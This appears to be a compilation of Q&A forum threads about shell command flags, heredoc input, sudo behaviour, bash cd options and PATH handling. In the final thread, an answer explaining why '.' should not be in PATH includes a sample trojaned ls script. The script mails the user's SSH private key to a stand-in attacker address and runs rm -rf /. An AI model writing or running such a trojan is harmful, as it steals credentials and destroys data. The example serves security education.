What is the purpose of -p and -t in the following terminal commands?
mkdir -p ~/.ssh
ssh-keygen -t rsa -b 4096 -C "your_email#example.com"
In general, I'm having trouble understanding the terminal commands with - followed by a letter. When I try to look it up the results often show commands such as cd or mkdir, maybe I'm looking up the wrong thing.
The -p flag is not something common to all terminal commands-- you can usually get help on terminal commands with either man <the_command_in_question> or something <the_command_in_question> --help. In this case, you would find the following explanation for mkdir's -p flag:
Create intermediate directories as required. If this option is not specified, the full path prefix of each operand must already exist. On the other hand, with this option specified, no error will be reported if a directory given as an operand already exists. Intermediate directories are created with permission bits of rwxrwxrwx (0777) as modified by the current umask, plus write and search permission for the owner.
Related
I am attempting to create a script that can install (automate) veracrypt on a CentOS7 system.
The downloaded veracrypt file comes as a .bz2 file (veracrypt-1.23-setup.tar.bz2). After unzipping the bzip filebzip2 -dk veracrypt-1.23-setup.tar.bz2, I then unzip the resulting .tar file tar -xf /home/$USER/veracrypt-1.23-setup.tar. At this point I can (if I) manually call the veracrypt script ./veracrypt-1.23-setup-gui-x64 from the bash terminal I am presented the following veracrypt installer prompt.
The veracrypt installer prompt is looking for the user to press either number 1 or 2 on the keyboard and then Enter (which I manually typed into the prompt window shown below for visualization purposes), before pressing enter again to proceed to the license agreement.
I am looking for a bash command that will simply choose (or type) number 2 and then input on my behalf so that I don't need to interact with the prompt at all.
I have tried the following commands in my script to no avail:
#!/bin/bash
cp ./veracrypt-1.23-setup.tar.bz2 /home/$USER
cd /home/$USER
bzip2 -dk veracrypt-1.23-setup.tar.bz2
tar -xf /home/$USER/veracrypt-1.23-setup.tar
echo -n '2' | ./veracrypt-1.23-setup-gui-x64
And
#!/bin/bash
cp ./veracrypt-1.23-setup.tar.bz2 /home/$USER
cd /home/$USER
bzip2 -dk veracrypt-1.23-setup.tar.bz2
tar -xf /home/$USER/veracrypt-1.23-setup.tar
./veracrypt-1.23-setup-gui-x64 2
If I can find the command to pass the input into the script I'm pretty sure I can alter that command to proceed through the rest of the license agreement.
Thanks in advance for the supprot.
You can use a Here Document, see man bash under the Here Documents section. This will allow you to redirect input to the veracrypt installer as if it was coming from stdin. You can add to your script:
./veracrypt-1.23-setup-gui-x64 << EOF
2
EOF
And that should take care of you. Let me know if you have any problems or further questions. (you can change the heredoc sigil from EOF to anything you like as long as it is consistent) Additionally do not indent the heredoc without seeing the man page for use of the hyphen (though I wouln't recommend doing so as you must use the tab character as spaces won't do.
Another option is just to pipe 2 to the installer, e.g.
echo "2" | ./veracrypt-1.23-setup-gui-x64
(don't include -n)
Both accomplish the same thing. The key is 2 must be available to the installer on stdin, not as an argument.
I am not able to use wildcard in command arguments when not using -i option. What can be the reason?
Below result with -i option:
Command - sudo -i -u \#800 ls -l /LOG/filename.*
Result - filename.dat
Below result without -i option:
Command - sudo -u \#800 ls -l /LOG/filename.*
Result - filename.* not found
Your results do not match your command so I'm not really trusting the results that you wrote into the question. In particular /LOG/ is left off of your results.
e.g.
sudo -i ls -ld /var/folx*
ls: /var/folx*: No such file or directory
I don't know which sudo you are using because AIX does not come with a sudo command. But I'm using the man page from my Mac.
-i [command]
The -i (simulate initial login) option runs the shell
specified in the passwd(5) entry of the target user as a
login shell. This means that login-specific resource files
such as .profile or .login will be read by the shell. If a
command is specified, it is passed to the shell for
execution. Otherwise, an interactive shell is executed.
sudo attempts to change to that user's home directory
before running the shell. It also initializes the
environment, leaving DISPLAY and TERM unchanged, setting
HOME, MAIL, SHELL, USER, LOGNAME, and PATH, as well as the
contents of /etc/environment on Linux and AIX systems. All
other environment variables are removed.
Note the phrase " to change to that user's home directory". It appears that it does the cd to home even when a command is given.
sudo pwd
/private/tmp
sudo -i pwd
/private/var/root
Here are some methods to try and debug this type of situation yourself. First is to replace your command with just env and capture the output in two separate files and then compare them. See if any differences might be the root of the issue. Second, pwd as I did and you discover that your current working directory is changing while in the sudo context. The third item which doesn't apply in this case but does in other cases is to do echo * as the command. In this case, it would have given you a clue but probably still might have been really confusing.
The other part is notice that -i is sucking up .profile and .login. Many users goof up their .profile and .login files by assuming various things. So, the other item that you might need to do sometimes is put set -x at the top of your .profile to see what it is doing. In this case, that was not needed.
So, if I man cd, I get the manpage for bash builtins.
If I cd -?, I get the following:
cd -?
-bash: cd: -?: invalid option
cd: usage: cd [-L|[-P [-e]] [-#]] [dir]
I know what the first two options are. Then I searched for both options.
For the -e option, I found this answer on the Unix StackExchange.
For the -# option, I couldn’t find any explanation.
My system info:
OS X 10.9 (Mavericks)
bash 4.3.18 (installed with the Homebrew package manager for OS X)
However, if I run which cd, I get /usr/bin/cd. Homebrew doesn’t touch anything outside of /usr/local, so I can only assume this is the system’s cd.
But I can’t find the documentation for that option! It’s driving me crazy.
Does anyone know what -# does?
It's a new option (as of bash-4.3). The changelog contains the following description:
'cd' has a new `-#' option to browse a file's extended attributes on
systems that support O_XATTR.
(changelog)
Type help <name> or man bash to get more info on bash commands. (In the bash man page you can search for cd by typing / followed by a search string and enter. n to go to the next hit, shift+n to go backwards).
The bash man page contains the following:
On systems that support it, the -# option presents the extended
attributes associated with a file as a directory.
Check the man page for bash for an explanation. The relevant portion says:
If dir begins with a slash (/), then CDPATH is not used. The -P option causes cd to use the physical directory structure by resolving symbolic links while traversing dir and before processing instances of .. in dir (see also the -P option to the set builtin command); the -L option forces symbolic links to be followed by resolving the link after processing instances of .. in dir. If .. appears in dir, it is processed by removing the immediately previous pathname component from dir, back to a slash or the beginning of dir. If the -e option is supplied with -P, and the current working directory cannot be successfully determined after a successful directory change, cd will return an unsuccessful status. On systems that support it, the -# option presents the extended attributes associated with a file as a directory. An argument of - is converted to $OLDPWD before the directory change is attempted. If a non-empty directory name from CDPATH is used, or if - is the first argument, and the directory change is successful, the absolute pathname of the new working directory is written to the standard output.
I'm seeing weird behavior when I run "ssh " to a Linux system. I tracked it down part way to a difference in bash when started in posix mode.
% bash --posix
% ln -s /tmp mytmp
% cd mytmp
% pwd
/home/user/mytmp
The bash man page has these items under posix mode:
--> When the cd builtin is invoked in logical mode, and the pathname constructed from $PWD and the directory name supplied as an argument does not refer to an existing directory, cd will fail instead of falling back to physical mode.
--> When the pwd builtin is supplied the -P option, it resets $PWD to a pathname containing no symlinks.
--> The pwd builtin verifies that the value it prints is the same as the current directory, even if it is not asked to check the file system with the -P option.
none of those sounds exactly like what I'm seeing.
I don't seem to have any special PWD-related variables set in start up files.
I know that --posix controls which start up files are used.
Is there a variable that explicitly controls like kind of symlink chasing?
I can think of several ways to "undo" this effect, but I need to know why it's happening.
I'm using ssh to run make, and then make is using pwd, and THAT pwd is
coming up with the wrong answer. It must be taking it directly from an ENV setting.
I'd like to find some docs someplace about what's going on.
If you do set -o | grep physical and that's set to on, it's the same as -P.
To turn on:
set -o physical
or
set -P
to turn off:
set +o physical
or
set +P
Check to see if cd or pwd are redefined:
type -a cd pwd
There are circumstances where pwd and $PWD won't be in sync. When in doubt, use pwd (as in `$(pwd)).
I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.